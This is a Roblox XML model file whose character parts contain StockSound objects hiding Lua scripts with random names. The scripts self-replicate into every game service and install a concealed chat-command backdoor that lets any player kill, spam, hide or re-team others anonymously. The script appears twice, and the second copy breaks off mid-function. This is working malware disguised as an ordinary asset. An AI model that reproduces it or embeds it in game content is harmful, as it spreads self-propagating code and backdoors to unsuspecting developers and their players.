							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX716">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">i16hb1i</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX717">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">34lt95x</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX718">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-183.831573</X>
								<Y>1.48005497</Y>
								<Z>-2.17384338</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX719">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3nnbu</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX720">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">el6h7e</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
